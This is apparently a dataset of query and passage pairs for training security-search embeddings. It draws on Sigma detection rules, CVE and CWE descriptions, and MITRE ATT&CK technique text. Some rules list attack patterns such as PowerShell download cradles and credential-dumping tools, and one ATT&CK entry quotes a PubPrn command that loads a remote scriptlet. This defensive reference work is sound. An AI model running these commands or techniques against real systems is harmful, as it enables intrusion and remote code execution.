alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects use of chcp to look up the system locale value as part of host discovery. Logsource: windows / process_creation. Rule: title: Console CodePage Lookup Via CHCP id: 7090adee-82e2-4269-bd59-80691e7c6338 status: test description: Detects use of chcp to look up the system locale value as part of host discovery references: - https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/ - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chcp author: _pete_0, TheDFIRReport date: 2022-02-21 modified: 2024-03-05 tags: - attack.discovery - attack.t1614.001 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \cmd.exe ParentCommandLine|contains|windash: - ' -c ' - ' -r ' - ' -k ' Image|endswith: \chcp.com CommandLine|endswith: - chcp - 'chcp ' - 'chcp ' condition: selection falsepositives: - During Anaconda update the 'conda.exe' process will eventually execution the 'chcp' command. - Discord was seen using chcp to look up code pages level: medium regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_chcp_codepage_lookup/info.yml
Near-miss passage: Sigma rule: Detects the use of csrutil to view the Configure System Integrity Protection (SIP) status. This technique is used in pos. Logsource: macos / process_creation. Rule: title: System Integrity Protection (SIP) Enumeration id: 53821412-17b0-4147-ade0-14faae67d54b status: test description: 'Detects the use of csrutil to view the Configure System Integrity Protection (SIP) status. This technique is used in post-exploit scenarios. ' references: - https://ss64.com/osx/csrutil.html - https://objective-see.org/blog/blog_0x6D.html - https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/ - https://www.virustotal.com/gui/file/05a2adb266ec6c0ba9ed176d87d8530e71e845348c13caf9f60049760c312cd3/behavior author: Joseliyo Sanchez, @Joseliyo_Jstnk date: 2024-01-02 tags: - attack.discovery - attack.t1518.001 logsource: product: macos category: process_creation detection: selection: Image|endswith: /csrutil CommandLine|contains: status condition: selection falsepositives: - Legitimate administration activities level: low
Query: describe CVE-2015-8461
Matching passage: CVE-2015-8461. CWE: CWE-362. CVSS: 7.099999904632568. Race condition in resolver.c in named in ISC BIND 9.9.8 before 9.9.8-P2 and 9.10.3 before 9.10.3-P2 allows remote attackers to cause a denial of service (INSIST assertion failure and daemon exit) via unspecified vectors.
Near-miss passage: CVE-2015-7553. CWE: CWE-362. CVSS: 4.699999809265137. Race condition in the kernel in Red Hat Enterprise Linux 7, kernel-rt and Red Hat Enterprise MRG 2, when the nfnetlink_log module is loaded, allows local users to cause a denial of service (panic) by creating netlink sockets.
Query: Sigma rule for Identifies when a Keyvault Key is modified or deleted in Azure.
Matching passage: Sigma rule: Identifies when a Keyvault Key is modified or deleted in Azure.. Logsource: azure / activitylogs. Rule: title: Azure Keyvault Key Modified or Deleted id: 80eeab92-0979-4152-942d-96749e11df40 status: test description: Identifies when a Keyvault Key is modified or deleted in Azure. references: - https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations author: Austin Songer @austinsonger date: 2021-08-16 modified: 2022-08-23 tags: - attack.impact - attack.credential-access - attack.t1552 - attack.t1552.001 logsource: product: azure service: activitylogs detection: selection: operationName: - MICROSOFT.KEYVAULT/VAULTS/KEYS/UPDATE/ACTION - MICROSOFT.KEYVAULT/VAULTS/KEYS/CREATE - MICROSOFT.KEYVAULT/VAULTS/KEYS/CREATE/ACTION - MICROSOFT.KEYVAULT/VAULTS/KEYS/IMPORT/ACTION - MICROSOFT.KEYVAULT/VAULTS/KEYS/RECOVER/ACTION - MICROSOFT.KEYVAULT/VAULTS/KEYS/RESTORE/ACTION - MICROSOFT.KEYVAULT/VAULTS/KEYS/DELETE - MICROSOFT.KEYVAULT/VAULTS/KEYS/BACKUP/ACTION - MICROSOFT.KEYVAULT/VAULTS/KEYS/PURGE/ACTION condition: selection falsepositives: - Key being modified or deleted may be performed by a system administrator. - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. - Key modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule. level: medium
Near-miss passage: Sigma rule: Detects DNS requests to Cloudflared tunnels domains. Attackers can abuse that feature to establish a reverse shell or pe. Logsource: windows / dns_query. Rule: title: Cloudflared Tunnels Related DNS Requests id: a1d9eec5-33b2-4177-8d24-27fe754d0812 related: - id: 7cd1dcdc-6edf-4896-86dc-d1f19ad64903 type: similar status: test description: 'Detects DNS requests to Cloudflared tunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine. ' references: - https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/ - Internal Research author: Nasreddine Bencherchali (Nextron Systems) date: 2023-12-20 tags: - attack.command-and-control - attack.t1071.001 - attack.t1572 logsource: category: dns_query product: windows detection: selection: QueryName|endswith: - .v2.argotunnel.com - protocol-v2.argotunnel.com - trycloudflare.com - update.argotunnel.com condition: selection falsepositives: - Legitimate use of cloudflare tunnels will also trigger this. level: medium
Query: common weakness: Improper Use of Validation Framework
Matching passage: CWE-1173 Improper Use of Validation Framework. The product does not use, or incorrectly uses, an input validation framework that is provided by the source language or an independent library.
Near-miss passage: CWE-317 Cleartext Storage of Sensitive Information in GUI. The product stores sensitive information in cleartext within the GUI.
Query: write Sigma for Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords
Matching passage: Sigma rule: Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords. Logsource: windows / process_creation. Rule: title: HackTool - Windows Credential Editor (WCE) Execution id: 7aa7009a-28b9-4344-8c1f-159489a390df status: test description: 'Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords, hash, PIN code and Kerberos tickets from memory. It is often used by threat actors for credential dumping and lateral movement within compromised networks. ' references: - https://www.ampliasecurity.com/research/windows-credentials-editor/ author: Florian Roth (Nextron Systems) date: 2019-12-31 modified: 2025-10-21 tags: - attack.credential-access - attack.t1003.001 - attack.s0005 logsource: category: process_creation product: windows detection: selection_img: Image|endswith: - \WCE.exe - \WCE64.exe selection_hash: Hashes|contains: - IMPHASH=136F0A8572C058A96436C82E541E4C41 - IMPHASH=589657C64DDE88533186C39F82FA1F50 - IMPHASH=6BFE09EFCB4FFDE061EBDBAFC4DB84CF - IMPHASH=7D490037BF450877E6D0287BDCFF8D2E - IMPHASH=8AB93B061287C79F3088C5BC7E7D97ED - IMPHASH=A53A02B997935FD8EEDCB5F7ABAB9B9F - IMPHASH=BA434A7A729EEC20E136CA4C32D6C740 - IMPHASH=BD1D1547DA13C0FCB6C15E86217D5EB8 - IMPHASH=E96A73C7BF33A464C510EDE582318BF2 condition: 1 of selection_* falsepositives: - Unknown level: critical
Near-miss passage: Sigma rule: Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers. Logsource: windows / wmi_event. Rule: title: Suspicious Scripting in a WMI Consumer id: fe21810c-2a8c-478f-8dd3-5a287fb2a0e0 status: test description: Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers references: - https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/ - https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19 - https://github.com/RiccardoAncarani/LiquidSnake author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro date: 2019-04-15 modified: 2023-09-09 tags: - attack.execution - attack.t1059.005 logsource: product: windows category: wmi_event detection: selection_destination: - Destination|contains|all: - new-object - net.webclient - .downloadstring - Destination|contains|all: - new-object - net.webclient - .downloadfile - Destination|contains: - ' iex(' - ' -nop ' - ' -noprofile ' - ' -decode ' - ' -enc ' - WScript.Shell - System.Security.Cryptography.FromBase64Transform condition: selection_destination falsepositives: - Legitimate administrative scripts level: high
Query: risk of Buffer overflow in the XML parser in Mozilla Firefox before 38.0, Firefox ESR 31.x before 31.7, and Thunderbird before 31.7 allows remote attackers to execute arbitrary code by pro
Matching passage: CVE-2015-2716. CWE: CWE-119. CVSS: 7.5. Buffer overflow in the XML parser in Mozilla Firefox before 38.0, Firefox ESR 31.x before 31.7, and Thunderbird before 31.7 allows remote attackers to execute arbitrary code by providing a large amount of compressed XML data, a related issue to CVE-2015-1283.
Near-miss passage: CVE-2015-7937. CWE: CWE-119. CVSS: 10.0. Stack-based buffer overflow in the GoAhead Web Server on Schneider Electric Modicon M340 PLC BMXNOx and BMXPx devices allows remote attackers to execute arbitrary code via a long password in HTTP Basic Authentication data.
Query: EDR alert: possible System Script Proxy Execution (T1216)
Matching passage: T1216 System Script Proxy Execution. Tactics: stealth. Description: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Near-miss passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Query: CWE for finalize() Method Declared Public
Matching passage: CWE-583 finalize() Method Declared Public. The product violates secure coding principles for mobile code by declaring a finalize() method public.
Near-miss passage: CWE-1233 Security-Sensitive Hardware Controls with Missing Lock Bit Protection. The product uses a register lock bit protection mechanism, but it does not ensure that the lock bit prevents modification of system registers or controls that perform changes to important hardware system configuration.
Query: CVE similar to CVE-2015-7404
Matching passage: CVE-2015-7404. CWE: CWE-200. CVSS: 1.899999976158142. IBM Tivoli Storage Manager for Databases: Data Protection for Microsoft SQL Server (aka Spectrum Protect for Databases) 5.5 before 5.5.6.2, 6.3 before 6.3.1.6, 6.4 before 6.4.1.8, and 7.1 before 7.1.4; Tivoli Storage Manager for Mail: Data Protection for Microsoft Exchange Server (aka Spectrum Protect for Mail) 5.5 before 5.5.1.1, 6.1 and 6.3 before 6.3.1.6, 6.4 before 6.4.1.8, and 7.1 before 7.1.4; and Tivoli Storage FlashCopy Manager for Windows (aka Spectrum Protect Snapshot) 2.x and 3.1 before 3.1.1.6, 3.2 before 3.2.1.8, and 4.1 before 4.1.4, when application tracing is configured, write cleartext passwords during changetsmpassword command execution, which allows local users to obtain sensitive information by reading the application trace output.
Near-miss passage: CVE-2015-0076. CWE: CWE-200. CVSS: 4.300000190734863. The photo-decoder implementation in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 does not properly initialize memory for rendering of JXR images, which allows remote attackers to obtain sensitive information from process memory via a crafted web site, aka "JPEG XR Parser Information Disclosure Vulnerability."
Query: patch priority for CVE-2015-0708
Matching passage: CVE-2015-0708. CWE: CWE-399. CVSS: 6.099999904632568. Cisco IOS 15.4S, 15.4SN, and 15.5S and IOS XE 3.13S and 3.14S allow remote attackers to cause a denial of service (device crash) by including an IA_NA option in a DHCPv6 Solicit message on the local network, aka Bug ID CSCur29956.
Near-miss passage: CVE-2015-2339. CWE: CWE-399. CVSS: 6.099999904632568. TPview.dll in VMware Workstation 10.x before 10.0.6 and 11.x before 11.1.1, VMware Player 6.x before 6.0.6 and 7.x before 7.1.1, and VMware Horizon Client 3.2.x before 3.2.1, 3.3.x, and 5.x local-mode before 5.4.2 on Windows does not properly allocate memory, which allows guest OS users to cause a host OS denial of service via unspecified vectors, a different vulnerability than CVE-2015-2338.
Query: patch priority for CVE-2015-1216
Matching passage: CVE-2015-1216. CWE: UNKNOWN. CVSS: 7.5. Use-after-free vulnerability in the V8Window::namedPropertyGetterCustom function in bindings/core/v8/custom/V8WindowCustom.cpp in the V8 bindings in Blink, as used in Google Chrome before 41.0.2272.76, allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors that trigger a frame detachment.
Near-miss passage: CVE-2015-3964. CWE: UNKNOWN. CVSS: 10.0. SMA Solar Sunny WebBox has hardcoded passwords, which makes it easier for remote attackers to obtain access via unspecified vectors.
Query: CVE similar to CVE-2015-8625
Matching passage: CVE-2015-8625. CWE: CWE-200. CVSS: 7.5. MediaWiki before 1.23.12, 1.24.x before 1.24.5, 1.25.x before 1.25.4, and 1.26.x before 1.26.1 do not properly sanitize parameters when calling the cURL library, which allows remote attackers to read arbitrary files via an @ (at sign) character in unspecified POST array parameters.
Near-miss passage: CVE-2015-8569. CWE: CWE-200. CVSS: 2.299999952316284. The (1) pptp_bind and (2) pptp_connect functions in drivers/net/ppp/pptp.c in the Linux kernel through 4.3.3 do not verify an address length, which allows local users to obtain sensitive information from kernel memory and bypass the KASLR protection mechanism via a crafted application.
Query: CVE similar to CVE-2015-3220
Matching passage: CVE-2015-3220. CWE: CWE-119. CVSS: 7.5. The tlslite library before 0.4.9 for Python allows remote attackers to trigger a denial of service (runtime exception and process crash).
Near-miss passage: CVE-2015-9224. CWE: CWE-119. CVSS: 9.800000190734863. In Android before 2018-04-05 or earlier security patch level on Qualcomm Snapdragon Automobile, Snapdragon Mobile, Snapdragon Wear, and Small Cell SoC FSM9055, MDM9206, MDM9607, MDM9615, MDM9625, MDM9635M, MDM9640, MDM9645, MDM9650, MDM9655, MSM8909W, SD 210/SD 212/SD 205, SD 400, SD 410/12, SD 425, SD 430, SD 450, SD 600, SD 615/16/SD 415, SD 617, SD 625, SD 650/52, SD 800, SD 808, SD 810, SD 820, SD 820A, SD 835, SD 845, SD 850, and SDX20, lack of input Validation in QURTK_write() can cause potential buffer overflow.
Query: CVE similar to CVE-2015-6661
Matching passage: CVE-2015-6661. CWE: CWE-200. CVSS: 5.0. Drupal 6.x before 6.37 and 7.x before 7.39 allows remote attackers to obtain sensitive node titles by reading the menu.
Near-miss passage: CVE-2015-7445. CWE: CWE-200. CVSS: 4.300000190734863. IBM Multi-Enterprise Integration Gateway 1.0 through 1.0.0.1 and B2B Advanced Communications 1.x before 1.0.0.4, when guest access is configured, allow remote authenticated users to obtain sensitive information by reading error messages in responses.
Query: exploit A vulnerability was found in kylebebak dronfelipe. It has been declared as critical. Affected by this vulnerability is an unknown functionality. The manipulation leads to sql injec
Matching passage: CVE-2015-10036. CWE: CWE-89. CVSS: 9.800000190734863. A vulnerability was found in kylebebak dronfelipe. It has been declared as critical. Affected by this vulnerability is an unknown functionality. The manipulation leads to sql injection. The patch is named 87405b74fe651892d79d0dff62ed17a7eaef6a60. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-217951.
Near-miss passage: CVE-2015-10037. CWE: CWE-89. CVSS: 9.800000190734863. A vulnerability, which was classified as critical, was found in ACI_Escola. This affects an unknown part. The manipulation leads to sql injection. The identifier of the patch is 34eed1f7b9295d1424912f79989d8aba5de41e9f. It is recommended to apply a patch to fix this issue. The identifier VDB-217965 was assigned to this vulnerability.
Query: actor TTPs: Delete Cloud Instance
Matching passage: T1578.003 Delete Cloud Instance. Tactics: defense impairment. Description: An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable. An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)
Near-miss passage: T1578 Modify Cloud Compute Infrastructure. Tactics: defense impairment. Description: An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)
Query: exploit The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial o
Matching passage: CVE-2015-8858. CWE: CWE-399. CVSS: 7.5. The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a "regular expression denial of service (ReDoS)."
Near-miss passage: CVE-2015-5162. CWE: CWE-399. CVSS: 7.5. The image parser in OpenStack Cinder 7.0.2 and 8.0.0 through 8.1.1; Glance before 11.0.1 and 12.0.0; and Nova before 12.0.4 and 13.0.0 does not properly limit qemu-img calls, which might allow attackers to cause a denial of service (memory and disk consumption) via a crafted disk image.
Query: detect Detect adversaries enumerate sensitive files in logs
Matching passage: Sigma rule: Detect adversaries enumerate sensitive files. Logsource: windows / ps_script. Rule: title: Powershell Sensitive File Discovery id: 7d416556-6502-45b2-9bad-9d2f05f38997 related: - id: d23f2ba5-9da0-4463-8908-8ee47f614bb9 type: derived status: test description: Detect adversaries enumerate sensitive files references: - https://twitter.com/malmoeb/status/1570814999370801158 author: frack113 date: 2022-09-16 tags: - attack.discovery - attack.t1083 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection_action: ScriptBlockText|contains: - ls - get-childitem - gci selection_recurse: ScriptBlockText|contains: -recurse selection_file: ScriptBlockText|contains: - .pass - .kdbx - .kdb condition: all of selection_* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects scheduled task creation events that include suspicious actions, and is run once at 00:00. Logsource: windows / process_creation. Rule: title: Uncommon One Time Only Scheduled Task At 00:00 id: 970823b7-273b-460a-8afc-3a6811998529 status: test description: Detects scheduled task creation events that include suspicious actions, and is run once at 00:00 references: - https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte author: pH-T (Nextron Systems) date: 2022-07-15 modified: 2023-02-03 tags: - attack.execution - attack.persistence - attack.privilege-escalation - attack.t1053.005 logsource: category: process_creation product: windows detection: selection_img: - Image|contains: \schtasks.exe - OriginalFileName: schtasks.exe selection_cli: CommandLine|contains: - wscript - vbscript - cscript - 'wmic ' - wmic.exe - regsvr32.exe - powershell - \AppData\ selection_time: CommandLine|contains|all: - once - 00:00 condition: all of selection_* falsepositives: - Software installation level: high
Query: rule covering Extract data from cab file and hide it in an alternate data stream
Matching passage: Sigma rule: Extract data from cab file and hide it in an alternate data stream. Logsource: windows / process_creation. Rule: title: Suspicious Extrac32 Alternate Data Stream Execution id: 4b13db67-0c45-40f1-aba8-66a1a7198a1e status: test description: Extract data from cab file and hide it in an alternate data stream references: - https://lolbas-project.github.io/lolbas/Binaries/Extrac32/ author: frack113 date: 2021-11-26 modified: 2022-12-30 tags: - attack.stealth - attack.t1564.004 logsource: category: process_creation product: windows detection: selection: CommandLine|contains|all: - extrac32.exe - .cab CommandLine|re: :[^\\] condition: selection falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS rec. Logsource: windows / process_creation. Rule: title: Nslookup PowerShell Download Cradle - ProcessCreation id: 1b3b01c7-84e9-4072-86e5-fc285a41ff23 related: - id: 72671447-4352-4413-bb91-b85569687135 type: obsolete - id: 999bff6d-dc15-44c9-9f5c-e1051bfc86e1 type: similar status: test description: Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records references: - https://twitter.com/Alh4zr3d/status/1566489367232651264 author: Nasreddine Bencherchali (Nextron Systems) date: 2022-09-05 modified: 2022-12-19 tags: - attack.stealth logsource: category: process_creation product: windows detection: selection_img: - Image|contains: \nslookup.exe - OriginalFileName: \nslookup.exe selection_cmd: ParentImage|endswith: - \powershell.exe - \pwsh.exe CommandLine|contains: - ' -q=txt ' - ' -querytype=txt ' condition: all of selection_* falsepositives: - Unknown level: medium